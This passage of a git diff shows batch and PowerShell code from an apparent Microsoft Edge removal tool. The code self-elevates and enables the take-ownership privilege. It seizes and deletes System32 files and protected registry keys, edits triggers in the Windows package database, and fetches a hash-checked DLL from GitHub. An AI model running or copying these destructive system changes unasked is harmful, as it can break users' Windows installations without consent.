can contains even backslash +echo [extra_cleanup().registry.inaccessible.init] %bat_dbg% +set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\Windows\CurrentVersion\MicrosoftEdge" %bat_log% +set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\MicrosoftEdge" %bat_log% +set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.BCHostServer" %bat_log% +set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.ContentProcessServer" %bat_log% +set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.F12Server" %bat_log% + +echo [extra_cleanup().registry.inaccessible] %bat_dbg% +call :reg_HKLM_keys_access_and_delete %bat_log% + +REM System32 +echo [extra_cleanup().files.System32] %bat_dbg% +for %%f in ("%SystemRoot%\System32\MicrosoftEdge*.exe") do ( + echo file: "%%~f" %bat_dbg% + takeown /f "%%~f" %bat_log% + icacls "%%~f" /grant "%UserName%:F" /c %bat_log% + del /f /q "%%~f" %bat_log% +) + + +REM Malformed Keys +echo - Fixing registry +echo [extra_cleanup().registry.fix] %bat_dbg% +setlocal EnableDelayedExpansion +set "reg_path=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" +for /f "tokens=*" %%k in ('reg query "%reg_path%" /s 2^>NUL ^| findstr /b /i "%reg_path%"') do ( + set "full_key=%%k" + set "delete_key=false" + set "reason=" + for %%a in ("!full_key!") do set "key_name=%%~nxa" + REM Skip empty or unchanged names + if "!key_name!"=="" ( + set "reason=empty key name" + ) else if "!key_name!"=="!full_key!" ( + set "reason=key name same as full path" + ) else ( + REM Check for space + set "spaced_key=!key_name: =!" + if not "!key_name!"=="!spaced_key!" ( + set "delete_key=true" + ) else ( + REM Check for letters + echo /7 - !key_name! | findstr /r /c:"[a-zA-Z]" >NUL + if !errorlevel! neq 0 set "delete_key=true" + ) + ) + if "!delete_key!"=="true" reg delete "!full_key!" /f >nul 2>&1 +) +endlocal + + +echo [extra_cleanup().end] %bat_dbg% + + + +REM Main script end +echo - Edge removal complete +echo [main_script.end] %bat_dbg% +REM remove hardlinks +del /f /q "%file_setup%" %bat_log% +del /f /q "%file_SQLite%" %bat_log% +echo [main_script.done] %bat_dbg% +exit /b 0 + + + +REM ===== Functions ===== + +REM labels, starts with underscore( _ ), are for internal usage and should not be called from main script +REM labels, starts with regular symbol, are public functions and can be called from main script + + +REM levels of logging verbosity + +:log_lvl.none +REM release mode +set "bat_log=>NUL 2>&1" +set "bat_dbg=>NUL 2>&1" +set "cll_dbg=%bat_dbg%" +set "psl_dbg=*^^^>$null" +set "for_psl_dbg=*^^^^^^^>$null" +REM set "for_psl_dbg_hlpr=" +REM power_hell(even 7.5) put errors to stdout if stderr not redirected +set "for_out_hlpr=2^>NUL" +REM set "for_out_get=" +REM set "for_out_del=" +REM all output mutes so there nothing in console +set "ecm=/c" +REM set "stp_dbg_arg=" +REM set "stp_dbg_get=" +REM set "stp_dbg_rst=" +exit /b 0 + +:log_lvl.errors +REM errors only +set "bat_log=>NUL" +set "bat_dbg=>NUL 2>&1" +set "cll_dbg=%bat_dbg%" +set "psl_dbg=*^^^>$null" +set "for_psl_dbg=*^^^^^^^>$null" +REM set "for_psl_dbg_hlpr=" +set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" +set "for_out_get=1>&2(echo [for.cmd.errors] & type "%~dpn0_hlpr.log" & echo [for.cmd.end])" +set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" +set "ecm=/k" +REM set "stp_dbg_arg=" +REM set "stp_dbg_get=" +REM set "stp_dbg_rst=" +exit /b 0 + +:log_lvl.debug +REM debug mode, put all output to file(except user-trageted output) +set "bat_log=>>"%~dpn0_dbg.log" 2>&1" +set "bat_dbg=>>"%~dpn0_dbg.log" 2>&1" +REM resolves issue with accessing log file from sub-routines +REM set "cll_dbg=" +REM set "psl_dbg=" +REM redirect debug to stderr +REM it can works without extra file but it's a quirk +set "for_psl_dbg=^^^^^^^|dbg2err" +set "for_psl_dbg_hlpr=function dbg2err^([Parameter^(ValueFromPipeline^)]$m^){process{[Console]::Error.WriteLine^($m^)}}" +set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" +set "for_out_get=echo [for.cmd] & type "%~dpn0_hlpr.log" & echo [for.cmd.end]" +set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" +REM all output redirected to file except batch errors +set "ecm=/k" +set "stp_dbg_arg=--verbose-logging" +REM uninstaller log grabber +set "stp_dbg_get=type "%Temp%\msedge_installer.log" %bat_dbg% & type NUL>"%Temp%\msedge_installer.log"" +REM reset existing log +set "stp_dbg_rst=type NUL>"%Temp%\msedge_installer.log"" +REM resolves issue with accessing log file on elevation +timeout /t 1 /nobreak >NUL 2>&1 +REM reset log file if this is not elevation re-run (bad check, cuz someone may pass an argument) +if "%~1" equ "" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" +if /i "%~1" equ "-auto" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" +exit /b 0 + + +REM check script and %tmp% directories for file, check file hash, (re-)download from URL if required +REM if file successfully validated its full path will be stored to variable +REM arguments: file name, file hash, file URL and variable name in this exact order +REM return result as exit code +:file_obtain +echo [file_obtain()] %cll_dbg% +echo name: "%~1" %cll_dbg% +echo hash: "%~2" %cll_dbg% +echo url: "%~3" %cll_dbg% +echo var: "%~4" %cll_dbg% +if "%~1" equ "" goto _file_obtain.fail +if "%~2" equ "" goto _file_obtain.fail +if "%~3" equ "" goto _file_obtain.fail +if "%~4" equ "" goto _file_obtain.fail + +set "on_hash_err=download" +set "file_path=%~dp0%~1" +if exist "%file_path%" goto _file_obtain.check +set "file_path=%tmp%\%~1" +if exist "%file_path%" goto _file_obtain.check + +echo file not cached %cll_dbg% + +:_file_obtain.download +if %has_net% equ 0 goto _file_obtain.net.fail + +echo [file_obtain().download] %cll_dbg% +set "on_hash_err=check.fail" +powershell -noprofile -c "[Net.WebClient]::new().DownloadFile('%~3', '%file_path%')" +if %errorlevel% neq 0 goto _file_obtain.download.fail +if not exist "%file_path%" goto _file_obtain.download.fail + +:_file_obtain.check +echo [file_obtain().check] "%file_path%"; on_hash_err: "%on_hash_err%" %cll_dbg% +powershell -noprofile -c "Import-Module Microsoft.PowerShell.Utility; exit ((Get-FileHash '%file_path%' -Algorithm SHA256).Hash.ToLower() -ne '%~2')" +if %errorlevel% neq 0 goto _file_obtain.%on_hash_err% + +set "%~4=%file_path%" +echo [file_obtain().done] %cll_dbg% +exit /b 0 + +:_file_obtain.fail +set "errorinfo=%ISSUE_GENERIC%: generic" +echo [file_obtain().fail] %cll_dbg% +exit /b %ISSUE_GENERIC% + +:_file_obtain.net.fail +set "errorinfo=%ISSUE_NETWORK%: no network" +echo [file_obtain().net.fail] %cll_dbg% +exit /b %ISSUE_NETWORK% + +:_file_obtain.download.fail +set "errorinfo=%ISSUE_DOWNLOAD%: download error" +echo [file_obtain().download.fail] %cll_dbg% +exit /b %ISSUE_DOWNLOAD% + +:_file_obtain.check.fail +set "errorinfo=%ISSUE_HASH%: hash mismatch" +echo [file_obtain().check.fail] %cll_dbg% +exit /b %ISSUE_HASH% + + +REM remove task by name if name match pattern +:task_remove +set "task_name=%~1" +if "%task_name:~0,1%" neq "\" goto _task_remove.end +if /i "%task_name:\MicrosoftEdge=%" equ "%task_name%" goto _task_remove.end +echo [task_remove()] "%task_name%" %cll_dbg% +schtasks /end /tn "%task_name%" +schtasks /delete /tn "%task_name%" /f +del /f /q "%SystemRoot%\System32\Tasks%task_name%" +echo [task_remove().end] %cll_dbg% + +:_task_remove.end +exit /b 0 + + +REM remove service by name +:service_remove +echo [service_remove()] "%~1" %cll_dbg% +sc stop "%~1" +if %errorlevel% equ 1060 goto _service_remove.end +sc delete "%~1" +reg delete "HKLM\SYSTEM\CurrentControlSet\Services\%~1" /f +echo service removed %cll_dbg% + +:_service_remove.end +echo [service_remove().end] %cll_dbg% +exit /b 0 + + +REM retrieve location of user profile by user SID +REM call shortcuts removing +REM call cleanup of user registry +:user_cleanup_by_sid +echo [user_cleanup_by_sid()] "%1" %cll_dbg% +if /i "%1" equ "S-1-5-18" goto _user_cleanup_by_sid.end +if /i "%1" equ "S-1-5-19" goto _user_cleanup_by_sid.end +if /i "%1" equ "S-1-5-20" goto _user_cleanup_by_sid.end + +echo accepted %cll_dbg% +for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%\%1" /v ProfileImagePath') do ( set "profile_path=%%~d" ) +call :user_lnks_remove_by_path "%profile_path%" +call :user_reg_cleanup %1 "%profile_path%" + +:_user_cleanup_by_sid.end +echo [user_cleanup_by_sid().end] %cll_dbg% +exit /b 0 + +REM remove shortcuts from several locations of user profile +:user_lnks_remove_by_path +echo [user_lnks_remove_by_path()] "%~1" %cll_dbg% +del /f /q "%~1\Desktop\edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\edge.lnk" +del /f /q "%~1\Desktop\Microsoft Edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Microsoft Edge.lnk" + +echo [user_lnks_remove_by_path().end] %cll_dbg% +exit /b 0 + +REM remove some registry keys +REM arguments: user SID and user profile dir path in this exact order +:user_reg_cleanup +echo [user_reg_cleanup()] %cll_dbg% +echo SID: "%1" %cll_dbg% +echo path: "%~2" %cll_dbg% + +echo prepare main hive %cll_dbg% +reg query "HKU\%1" /ve +if %errorlevel% neq 0 reg load "HKU\%1" "%~2\NTUSER.DAT" +if %errorlevel% neq 0 echo main hive load fail %cll_dbg% & goto _user_reg_cleanup.sft.done +echo main hive ready %cll_dbg% + +echo cleanup main hive %cll_dbg% +reg delete "HKU\%1\SOFTWARE\Microsoft\Edge" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\EdgeUpdate" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\MicrosoftEdge" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Internet Explorer\EdgeDebugActivation" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Internet Explorer\EdgeIntegration" /f +reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\Edge" /f +reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate" /f +reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\MicrosoftEdge" /f + +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\microsoft-edge" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\microsoft-edge-holographic" /f + +REM for current user require explorer restart +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesRemovedChanges" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesVersion" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesChanges" /f + +:_user_reg_cleanup.sft.done +echo [user_reg_cleanup().sft.done] %cll_dbg% + +REM for user profiles "SOFTWARE\Classes" is a symlink, for internal profiles it's a real key +REM usually symlinks created by windows after hive load +REM but it's a bit complicated process(especially for batch) and not worth it here (i can talk!) +echo probing "SOFTWARE\Classes" %cll_dbg% +set "cls_path=%1\SOFTWARE\Classes" +reg query "HKU\%cls_path%" /ve +if %errorlevel% equ 0 goto _user_reg_cleanup.cls.ready + +echo prepare classes hive %cll_dbg% +set "cls_path=%1_Classes" +reg query "HKU\%cls_path%" /ve +REM location of user classes hive can be altered by user +if %errorlevel% neq 0 reg load "HKU\%cls_path%" "%~2\AppData\Local\Microsoft\Windows\UsrClass.dat" +if %errorlevel% neq 0 echo classes hive load fail %cll_dbg% & goto _user_reg_cleanup.cls.done + +:_user_reg_cleanup.cls.ready +echo classes hive ready %cll_dbg% + +echo cleanup classes hive %cll_dbg% +reg delete "HKU\%cls_path%\microsoft-edge" /f +reg delete "HKU\%cls_path%\microsoft-edge-holographic" /f + +:_user_reg_cleanup.cls.done +echo [user_reg_cleanup().cls.done] %cll_dbg% + +echo [user_reg_cleanup().end] %cll_dbg% +exit /b 0 + + + +REM ===== PowerShell(psl) based complex functions ===== + +REM psl code passed via stdin +REM code length should not exceed 8146 chars after batch vars expanding(8191 - 5 - 40; 5 - "echo "; 40 - call of psl?) +REM batch escape chars(^) and new lines(\r\n; unless escaped _properly_) not counts +REM to be continued, line must ends with ^ . first char of the next line will be escaped! +REM when next line starts with escaping of another char remove one ^ +REM when next line starts with double quoted string, percent or ^(cuz empty) put space or semicolon ahead +REM in the end this is a single line! put ; where command(line) ends and be careful with one-line comment +REM in-code char escaping(for passing to psl via stdin from batch; do not confuse with batch nor psl levels): +REM anywhere: % as %% ; ^ as ^^^^ ; & as ^^^& ; < as ^^^< ; > as ^^^> ; | as ^^^| ; " as ^^^" (unpaired only) +REM between double quotes: % as %% ; " as "" (simplification, resolves psl escaping as well); rest not required +REM https://ss64.com/nt/syntax-esc.html + +REM most(or all) of the functions here have no own arguments and simply checks env-vars, prepared for psl code +REM env-vars used to shorts psl code since they are easily accessible from it as from child process + + +REM get access and delete registry keys in HKLM hive +REM keys for TakeOwn+FullControl ONLY should be in reg_HKLM_keys_acs var +REM keys that also should be deleted - in reg_HKLM_keys_del var +REM DO NOT pass keys with values at tail +REM TakeOwn+FullControl operation may fails, but removing attempt will be made anyway +:reg_HKLM_keys_access_and_delete +echo [reg_HKLM_keys_access_and_delete()] %cll_dbg% +if defined reg_HKLM_keys_acs goto _reg_HKLM_keys_access_and_delete.psl +if not defined reg_HKLM_keys_del goto _reg_HKLM_keys_access_and_delete.end +:_reg_HKLM_keys_access_and_delete.psl +echo [reg_HKLM_keys_access_and_delete().psl] %cll_dbg% +echo ;^ +if ($env:reg_HKLM_keys_acs) { $key_paths_acs = $env:reg_HKLM_keys_acs.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ +if ($env:reg_HKLM_keys_del) { $key_paths_del = $env:reg_HKLM_keys_del.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ +$key_paths_acs += $key_paths_del;^ +if (!$key_paths_acs) { exit }^ +$user_ident = [System.Security.Principal.NTAccount]$env:UserName;^ +$access_rule = [System.Security.AccessControl.RegistryAccessRule]::new($user_ident, 0xF003F, 3, 0, 0);^ +$hive_HKLM = [Microsoft.Win32.Registry]::LocalMachine;^ +$ntdll = Add-Type -Member '[DllImport("ntdll.dll")] public static extern int RtlAdjustPrivilege(uint p, bool e, bool t, ref bool l);' -Name NtDll -PassThru;^ +$lp = 0; $tgl_rslt = $ntdll::RtlAdjustPrivilege(9, 1, 0, [ref]$lp);^ +;^ +if ($tgl_rslt -eq 0) {^ + "accessing"%psl_dbg%;^ + foreach ($key_path in $key_paths_acs) {^ + $key_path%psl_dbg%;^ + $key_obj = $hive_HKLM.OpenSubKey($key_path, 2, 0x80000);^ + if (!$key_obj) { "key not found"%psl_dbg%; continue };^ + ^ + ($acl = $key_obj.GetAccessControl()).SetOwner($user_ident);^ + $key_obj.SetAccessControl($acl);^ + $acl.AddAccessRule($access_rule);^ + $key_obj.SetAccessControl($acl);^ + $key_obj.Close();^ + }^ + $ntdll::RtlAdjustPrivilege(9, $lp, 0, [ref]$lp);^ +} else { "TakeOwnership enabling failed (0x{0:x8}); attempt to remove anyway" -f $tgl_rslt%psl_dbg% }^ +;"removing"%psl_dbg%;^ +foreach ($key_path in $key_paths_del) { $key_path%psl_dbg%; $hive_HKLM.DeleteSubKeyTree($key_path) }^ +;| powershell -noprofile - + +:_reg_HKLM_keys_access_and_delete.end +echo [reg_HKLM_keys_access_and_delete().end] %cll_dbg% +exit /b 0 + + +REM unlock and delete all packages from the list +REM list should be in pkgs_list var +REM System.Data.SQLite.dll should be ready to use +:appx_unlock_and_delete +echo [appx_unlock_and_delete()] %cll_dbg% +if not defined pkgs_list goto _appx_unlock_and_delete.end +:_appx_unlock_and_delete.psl +echo [appx_unlock_and_delete().psl] %cll_dbg% +echo function main() {^ + $pkgs = $env:pkgs_list.Split(' ', [StringSplitOptions]::RemoveEmptyEntries);^ + if ($pkgs.Count -eq 0) { "empty packages list"%psl_dbg%; return }^ + $locked_pkgs, $pkgs = $pkgs.Where({$_[0] -eq '1'}, 'Split');^ + $locked_pkgs = $locked_pkgs.ForEach({$_.Substring(1)});^ + $pkgs = $pkgs.ForEach({$_.Substring(1)});^ + ^ + if ($env:reg_SFT_paths_scn) { $reg_sft_paths_scn = $env:reg_SFT_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ + if ($env:reg_CLS_paths_scn) { $reg_cls_paths_scn = $env:reg_CLS_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ + if ($reg_sft_paths_scn -or $reg_cls_paths_scn) {^ + $usids_exclude = @('S-1-5-18', 'S-1-5-19', 'S-1-5-20');^ + $reg_usrs_hives = (reg query "$env:REG_USERS_PATH" /k /f "*").ForEach({$_.Substring($_.LastIndexOf('\')+1)}).Where({$_.StartsWith('S-1-') -and -not $usids_exclude.Contains($_)});^ + $reg_sft_hives = ($reg_usrs_hives.ForEach({"HKU\$_\SOFTWARE\"})) + @('HKU\.DEFAULT\SOFTWARE\', 'HKLM\SOFTWARE\');^ + $reg_cls_hives = ($reg_usrs_hives.ForEach({"HKU\$_`_Classes\"})) + @('HKU\.DEFAULT\SOFTWARE\Classes\', 'HKLM\SOFTWARE\Classes\');^ + }^ + ^ + if ($locked_pkgs.Count -gt 0) {^ + Add-Type -Path $env:file_SQLite;^ + $attempts = 3; $rslt = $false;^ + while ($attempts) { --$attempts; Unlock-Packages $locked_pkgs ([ref]$rslt); if ($rslt) { break }; Start-Sleep 3 }^ + if ($rslt) { $pkgs += $locked_pkgs } else { "package(s) still locked, exclude:`n" + ($locked_pkgs -join "`n")%psl_dbg% }^ + }^ + ^ + "removing"%psl_dbg%;^ + foreach ($pkg in $pkgs) {^ + "package: $pkg`nremove"%psl_dbg%;^ + Remove-AppxPackage -Package $pkg -User $env:USER_SID;^ + Remove-AppxPackage -Package $pkg -AllUsers;^ + ^ + $pkg_parts = $pkg.Split('_');^ + foreach ($reg_sft_hive in $reg_sft_hives) { reg delete "$reg_sft_hive`Microsoft\UserData\UninstallTimes" /v "$($pkg_parts[0])_$($pkg_parts[4])" /f }^ + RegCleanup-Package($pkg_parts);^ + $edge_chnl_pos = $pkg_parts[0].IndexOf('.MicrosoftEdge.');^ + if ($edge_chnl_pos -ge 0) {^ + "cleanup of base package"%psl_dbg%;^ + $pkg_parts[0] = $pkg_parts[0].Substring(0, $edge_chnl_pos + 14);^ + RegCleanup-Package $pkg_parts;^ + }^ + ^ + "deprovision"%psl_dbg%;^ + reg add "$env:REG_APPX_STORE\EndOfLife\$env:USER_SID\$pkg" /f;^ + reg add "$env:REG_APPX_STORE\EndOfLife\S-1-5-18\$pkg" /f;^ + reg add "$env:REG_APPX_STORE\Deprovisioned\$pkg" /f;^ + ^ + "package removed"%psl_dbg%;^ + }^ +}^ +function Unlock-Packages($pkgs, [ref]$rslt) {^ + "[Unlock-Packages()]`nstopping services"%psl_dbg%;^ + $rslt.Value = $false;^ + Stop-Service StateRepository -Force;^ + ^ + "acessing db files"%psl_dbg%;^ + takeown /f "$env:LOC_APPREPO_DB";^ + takeown /f "$env:LOC_APPREPO_DB`-shm";^ + takeown /f "$env:LOC_APPREPO_DB`-wal";^ + icacls "$env:LOC_APPREPO_DB*" /grant "$env:UserName`:F" /c;^ + ^ + "unlocking"%psl_dbg%;^ + $con = [System.Data.SQLite.SQLiteConnection]::new("Data Source=$env:LOC_APPREPO_DB");^ + $con.Open();^ + $cmd = $con.CreateCommand();^ + $cmd.CommandText = "SELECT name,sql FROM sqlite_master WHERE type='trigger' AND tbl_name='Package' AND name LIKE'%%AFTER%%' AND name LIKE'%%UPDATE%%'";^ + $res = $cmd.ExecuteReader();^ + $trgs = @{};^ + while ($res.Read()) { $trgs[$res.GetString(0)] = $res.GetString(1) } $res.Close();^ + ^ + try {^ + foreach ($trg_name in $trgs.Keys) { $cmd.CommandText = "DROP TRIGGER $trg_name"; $cmd.ExecuteNonQuery() }^ + foreach ($pkg in $pkgs) {^ + "package: $pkg"%psl_dbg%;^ + $cmd.CommandText = "UPDATE Package SET IsInbox=0 WHERE PackageFullName='$pkg'"; $cmd.ExecuteNonQuery();^ + reg delete "$env:REG_APPX_STORE\InboxApplications\$pkg" /f;^ + }^ + foreach ($trg_query in $trgs.Values) { $cmd.CommandText = $trg_query; $cmd.ExecuteNonQuery() }^ + "unlocked"%psl_dbg%;^ + $rslt.Value = $true^ + }^ + catch { $_%psl_dbg%; "unlocking failed"%psl_dbg% }^ + ^ + $con.Close();^ + "[Unlock-Packages().end]"%psl_dbg%^ +}^ +function RegCleanup-Package($pkg_fname_parts) {^ + "[RegCleanup-Package()]`nregistry scan"%psl_dbg%;^ + $pkg_name = $pkg_fname_parts[0] + '_';^ + $pkg_pid = '_' + $pkg_fname_parts[4];^ + $reg_pkg_keys = @();^ + foreach ($reg_sft_hive in $reg_sft_hives) {^ + foreach ($reg_sft_path in $reg_sft_paths_scn) {^ + $reg_pkg_keys += (reg query "$reg_sft_hive$reg_sft_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + }^ + }^ + foreach ($reg_cls_hive in $reg_cls_hives) {^ + foreach ($reg_cls_path in $reg_cls_paths_scn) {^ + $reg_pkg_keys += (reg query "$reg_cls_hive$reg_cls_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + }^ + }^ + $reg_pkg_keys += (reg query "$env:REG_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + $reg_pkg_keys += (reg query "$env:REG32_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + ^ + "registry cleanup"%psl_dbg%;^ + foreach ($reg_pkg_key in $reg_pkg_keys) { $reg_pkg_key%psl_dbg%; reg delete $reg_pkg_key /f }^ + "[RegCleanup-Package().end]"%psl_dbg%;^ +}^ +main;^ +;| powershell -noprofile - + +:_appx_unlock_and_delete.end +echo [appx_unlock_and_delete().end] %cll_dbg% +exit /b 0 + diff --git a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Edge-Appx.bat b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Edge-Appx.bat index fd966ebe..1a59e42d 100644 --- a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Edge-Appx.bat +++ b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Edge-Appx.bat @@ -1,465 +1,465 @@ -@echo off & setlocal -REM land "clever" users back to native env (Win Vista and up; start /b not used due to some oddities) -if defined PROCESSOR_ARCHITEW6432 "%WinDir%\SysNative\cmd.exe" /c ""%~0" %*" & exit /b 0 - -REM -REM Check permissions and elevate if required -REM Obtain required files (from cache or from repo with hash validation) -REM Remove AppX -REM Remove AppX remains -REM - -set "ISSUE_GENERIC=1" -set "ISSUE_UAC=2" -set "ISSUE_NETWORK=3" -set "ISSUE_DOWNLOAD=4" -set "ISSUE_HASH=5" -set "ISSUE_ARCH=6" - -REM check for architecture (x86 and amd64 are supported, arm - not) -if /i "%PROCESSOR_ARCHITECTURE%" equ "amd64" goto arch.pass -if /i "%PROCESSOR_ARCHITECTURE%" equ "x86" goto arch.pass -echo "%PROCESSOR_ARCHITECTURE%" platform is unsupported & echo. & pause & exit /b %ISSUE_ARCH% -:arch.pass - -set "SCRIPT_VERSION=11/26/2025" -REM set logging verbosity ( log_lvl.none, log_lvl.errors, log_lvl.debug ) -REM also see Both.bat for details -call :log_lvl.debug "%~1" - -title Edge Remover - %SCRIPT_VERSION% -echo [main_script.start] %bat_dbg% - - - -echo [uac()] %bat_dbg% -REM Get executor SID (Win 2003(XP x64) and up) -for /f "skip=1 tokens=1,2 delims=," %%a in ('whoami /user /fo csv') do set "EXEC_SID=%%~b" -REM When script elevates itself, the user SID should be passed as 1st argument (bad input here is not my fault) -set "USER_SID=%~1" -REM Check Admin permissions -net session >NUL 2>&1 -echo err: %errorlevel%; EXEC_SID: "%EXEC_SID%"; USER_SID: "%USER_SID%" %bat_dbg% -if %errorlevel% equ 0 goto uac.success -REM When UAC disabled, elevation not works and SID never changes -if /i "%EXEC_SID%" equ "%USER_SID%" ( - echo Please, enable UAC and try again & echo. & pause & exit /b %ISSUE_UAC% -) -REM When 1st arg looks like valid NT_AUTHORITY SID, assume elevation by script (prevent infinite loop aka UAC bombing) -if /i "%USER_SID:~0,6%" equ "S-1-5-" ( - REM DO NOT put on the same line as condition: using another var after substring when its source is empty leads to hard fail - echo Built-in Admin account possibly corrupted & echo. & pause & exit /b %ISSUE_UAC% -) -REM Elevate with psl (don't try go around cmd /c; see Both.bat for quotes details) -echo Start-Process -Verb RunAs """$env:COMSpec""" "%ecm% """"%~0"" ""%EXEC_SID%"""""|powershell -noprofile - %bat_log% -echo [uac().elevated] err: "%errorlevel%" %bat_dbg% -exit /b %errorlevel% - -REM Admin permissions granted, executor SID may be a SID of Built-in Admin account if it's enabled -:uac.success -echo [uac().success] %bat_dbg% -REM 1st arg looks like valid rev.1 SID (assume elevation by script) -if /i "%USER_SID:~0,4%" equ "S-1-" goto uac.done -REM 1st arg does not look like valid SID (elevation NOT by script) -set "USER_SID=%EXEC_SID%" -REM When Built-in Admin account disabled, SID does not change on elevation and usually match the condition -if "%EXEC_SID:~-4%" neq "-500" goto uac.done -REM For automaters: when Built-in Admin account enabled, specify "-auto" as 1st argument to bypass confirmation -if /i "%~1" equ "-auto" goto uac.done -REM Built-in Admin account enabled and script not self elevated nor automated -choice /c yn /n /m "Logged as Admin? [Y,N]" -REM Check for positive answer, anything else considered as No -echo answer: %errorlevel% %bat_dbg% -if %errorlevel% equ 1 goto uac.done -echo Please, run script without elevation & echo. & pause & exit /b %ISSUE_UAC% - -:uac.done -echo [uac().done] %bat_dbg% - - - -set "has_net=0" -ipconfig | find "IPv" >NUL 2>&1 -if %errorlevel% equ 0 set "has_net=1" -echo has network: %has_net% %bat_dbg% - -REM prepare architecture-depend stuff (see Both.bat for details) -echo - Obtaining required files -echo [prepare()] %bat_dbg% -goto prepare.%PROCESSOR_ARCHITECTURE% - - -:prepare.amd64 -echo [prepare().amd64] %bat_dbg% - -call :file_obtain^ - "System.Data.SQLite.x64.dll"^ - "1b3742c5bd1b3051ae396c6e62d1037565ca0cbbedb35b460f7d10a70c30376f"^ - "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x64.dll"^ - "file_SQLite_loc"^ - %bat_log% -if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% - -set "file_SQLite=%file_SQLite_loc:.x64.=.%" - -goto prepare.end - - -:prepare.x86 -echo [prepare().x86] %bat_dbg% - -call :file_obtain^ - "System.Data.SQLite.x86.dll"^ - "845f7cbae72cf0a09a7f8740029ea9a15cb3a51c0b883b67b6ff1fc15fb26729"^ - "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x86.dll"^ - "file_SQLite_loc"^ - %bat_log% -if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% - -set "file_SQLite=%file_SQLite_loc:.x86.=.%" - -goto prepare.end - -:prepare.end -echo [prepare().end] %bat_dbg% -REM create hardlinks -del /f /q "%file_SQLite%" %bat_log% -fsutil hardlink create "%file_SQLite%" "%file_SQLite_loc%" %bat_log% - -echo [prepare().done] %bat_dbg% - - - -REM #Uninstall -echo [uninstall()] %bat_dbg% -echo - Removing AppX -echo [uninstall().appx.init] %bat_dbg% -set "LOC_APPREPO_DB=%AllUsersProfile%\Microsoft\Windows\AppRepository\StateRepository-Machine.srd" -set "REG_USERS_PATH=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" -set "REG_APPX_STORE=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" -set "REG32_APPX_STORE=HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" - -set "pkgs_pattern=*microsoftedge*" - -set "reg_SFT_paths_scn=" -set "reg_CLS_paths_scn=" -REM Registry locations for scan and remove appx keys, max length after batch vars expanding - 